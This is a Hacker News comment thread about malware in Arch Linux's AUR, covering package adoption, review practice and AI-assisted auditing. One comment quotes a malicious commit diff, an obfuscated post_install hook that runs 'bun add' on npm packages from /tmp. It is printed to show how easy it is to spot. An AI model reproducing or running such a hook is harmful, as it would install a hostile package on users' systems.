Arch Linux AUR Hit by Another Wave of Now More Sophisticated Malware Attack | Hacker News Reader

Arch Linux AUR Hit by Another Wave of Now More Sophisticated Malware Attack

phoronix.com

57 pointsImJamal27 comments

This is why I avoid AUR, it's too easy to become complacent. If I really want something from AUR I literally just look at the PKGBUILD for compilation instructions and do it manually by myself, but if it's got so many patches or dependencies that I can't go through them all by hand I just find another solution or do without.

This is also why I really dislike a lot of modern languages with automated fetching of dependencies. It really fosters a sloppy attitude toward your supply chain because it's just too damned convenient. With a reasonably sized Go project for instance, you may be pulling in code from dozens of different git repos. It only takes one compromised repo or malicious package to sink the ship.

Not even that, AUR packages are just git repos, they don't auto update unless you use an AUR helper that does. You literally can just clone it and makepkg it and then pacman also tracks the installed files and uninstalling is a breeze.

personally im looking more into using freebsd, i was an openbsd user for years, and then i started arch, i liked it bc it was more bleeding edge, but over they years ive become less security aware bc its just too convienent, as i do more and more developing. currencly it takes almost 20 min to load thunar, and i dont know what update broke it, ya its my fault i know but i just dont have the time to vet everything, this wasnt an issue 6 mo ago. i want a more of a os thats professionals for professionals, i dont need the latest eyecandy, im fine using windowmaker. if i need to be limited imm deal with the limitations, im using cinnimon and when my wifi doesnt connect my desktop is broken and takes forever to load if i have to reboot, which is generally to thunar and frustration, i cannot use a later kernel and am stuck at a certain version bc video drivers arent compatible, i also cannot run vitrualbox bc something is wrong woth the kernel driver. does the community have any other options???

Is the nixpkgs repo more "resilient" to these kind of attacks since an attacker would need the approval of a member with merge permission ?

Assuming you're not pulling in software from outside of nixpkgs, Yes.

Why? AFAIK original source is never reviewed, only the change in nixpkgs. So if the original is compromised, the malware will make it to nixpkgs.

The scope of nixpkgs is nixpkgs. If every package's entire source code was being audited, then there is no such thing as a sustainable repository of software. There simply isn't enough people, or money for AI, to do it.

> or money for AI, to do it.

OpenAI and Anthropic both provide free credits for OSS.

Smaller models feasibly can review every commit IMO. Would not be cheap for sure, but also would probably be cheaper than a single fulltime employee.

This would amount to auditing the vast majority of open source code found on the Internet. Not even OpenAI or Anthropic seem quite interested in doing that.

Kinda, you'd have to go through the whole review process and also get your stuff to successfully be part of (at least) an unstable build.

What really worries me is that on Nix we have a strong habit of patching packages to work around problems caused by the fact that NixOS doesn't use FHS. So, in theory, someone could submit an obscure patch to systemd and get everyone affected by it, if it through the approval process.

The solution so far has been a very rigorous process to even get a commit bit into nixpkgs: https://github.com/NixOS/nixpkgs-committers

I'm sure PRs to the systemd package will get scrutinized by an experienced packager.

Also Nixpkgs isn't really that special when it comes to patching. Making thousands of software all work coherently on a single system inevitably requires heavy amount of pop patching. Nixpkgs actually handles this better by having easier ways to make customizations.

Since Arch is hosting / facilitating the AUR on the archlinux.org domain, i think this causes less technical users to assume some level of trust. Even when they are aware that these are 3rd party packages.

Also i find it surprising that there's only very little/slow communication from Arch via their news channel. For example, how users can check for infections.

I’m moving all my machines to NixOS. I’d done this before but ran into time constraints creating ports for convoluted binary software. With LLMs now as good as they are it’s quite possible this isn’t a problem anymore. I’ll be finding out.

I've had great results doing this, using flakes seem to make the results quite maintainable

I wouldn't be surprised if this is some kind of implicit "use AI or else" statement. I've been anticipating some kind of hit on Gentoo given their outspoken no-AI stance. Unsure of Arch's.

Is there any information on if this is the same attack vector (orphaned packages that were adopted)? I believe they already locked down adoption, but maybe also a combination of existing maintainers being taken over?

The reported commit [1] suggests to me that it was an account compromise of some sort, not orphan+adopt: the committer is the same in git, but the contact email changes in the PKGBUILD.

This doesn't necessarily seem 'more elaborate': it is attempting to be better obfuscated against automated checks at the cost of being very obvious to anyone doing even a cursory review of the install scripts. It's also likely something that would be caught instantly by even an extremely naive LLM, as seems to have been the case here. There's simply no legitimate reason why an install script would ever do something like this:

  diff --git a/htbrowser-bin-deps.install b/htbrowser-bin-deps.install
  new file mode 100644
  index 000000000000..9806501accad
  --- /dev/null
  +++ b/htbrowser-bin-deps.install
  @@ -0,0 +1,3 @@
  +post_install() {
  +  $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' $'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73' 'n'"e"'x'"t""f"'i''l''e''-''j''s'
  +}

[1]: https://aur.archlinux.org/cgit/aur.git/commit/?h=htbrowser-b...

I'm not certain that the git committer tells you the full story. I don't believe the AUR enforces that the git commit email is the same as the current maintainer email. So this could have been an orphan package, adopted by a malicious user, generated a malicious commit with the previous maintainer's git info.

Unfortunately, I don't see a way of viewing the ownership history of a package in the AUR. I know you get emails with ownership changes if you're subscribed to a package, but I don't see this info in the web interface anywhere.

Companies like Anthropic and OpenAI need to sponsor open source projects by giving them free agent credits. Otherwise, bad actors can just outspend and totally overwhelm the somewhat dim and very overworked set of human maintainers. Humans in software are obsolete, full stop.

Both already do that. The AUR stuff is more of a policy issue and unmatched expectations, unrelated to llms imo

Well, both give you 6 months of access. Out of interest I applied some time ago and (despite maintaining a few fairly important OSS projects) never got a response from them. Of the other maintainers I know, it seems to me that they decide who to give access to fairly randomly.

Wonder how dependent it is on social following.

> The AUR stuff is more of a policy issue

Yes. This has happened before, a few times, before LLMs were even a thing. Via the same mechanism as well (someone else adopting an orphaned package). The big one I'm remembering was in 2018.

Outside of that mechanism though, anyone who uses the AUR regularly knowingly accepts this kind of risk. It's why I'm not a huge fan of distros (like Cachy, Endevaor, etc) that take Arch and package it up in a one-click easy installer with preinstalled AUR helpers. Cachy even uses the chaotic AUR too (auto build service for AUR packages to serve binaries). I like CachyOS, but good lord don't put in Yay + the AUR by default.

The ability for any registered user to just adopt an existing orphaned package is a problem (these attacks will always exist, but least force a fork & resubmission under a different name), and so is the use of automated AUR helpers that don't show PKGBUILD diffs.

The hygiene required to use the AUR is no different than the hygiene required to use pip, npm, cargo, etc. Anyone just blindly trusting user submitted packages and code from the internet is not operating with security in mind.

Adopt a policy of zero trust from any arbitrary code you download from the internet.

For what it's worth with regard to the Chaotic AUR, there's claims I've seen that they do vet packages updates going into it before they're actually built.

lol

They're already running at a significant loss. giving out more free stuff isnt going to help.

What they really need to do is charge what it actually costs them. That will slow down the abuse a little.

That will also make it entirely unfeasible for anyone to use their services. The cost of the tokens you could burn on a $200 plan is in the neighborhood of $1200. They're getting users now and gambling on the cost of compute (or the difficulty of compute) dropping precipitously before they run out of cash.

absolutely agree.

I think what will happen is you'll get 3 or four "Tiers" of AI.

Tier 1: Big Corpo's, Govornments and soverign wealth institutions. Top of the line and dangerous AI, very likely to be abused and used to enrich the already powerful.

Tier 2: Enterprise level AI, Rich local Gov and rich individuals might have these. maybe also SAAS providors will tap into this. Functional but not really smart like Tier 1.

Tier 3: Community AI. Small business etc will use this. basically automated orchestration

Tier 4: Home AI.

I think this is where we're headed. and this is of course after the bubble pops and we get an economic crash because of the popping. (other events going on in the world and various economies and political scenes.)

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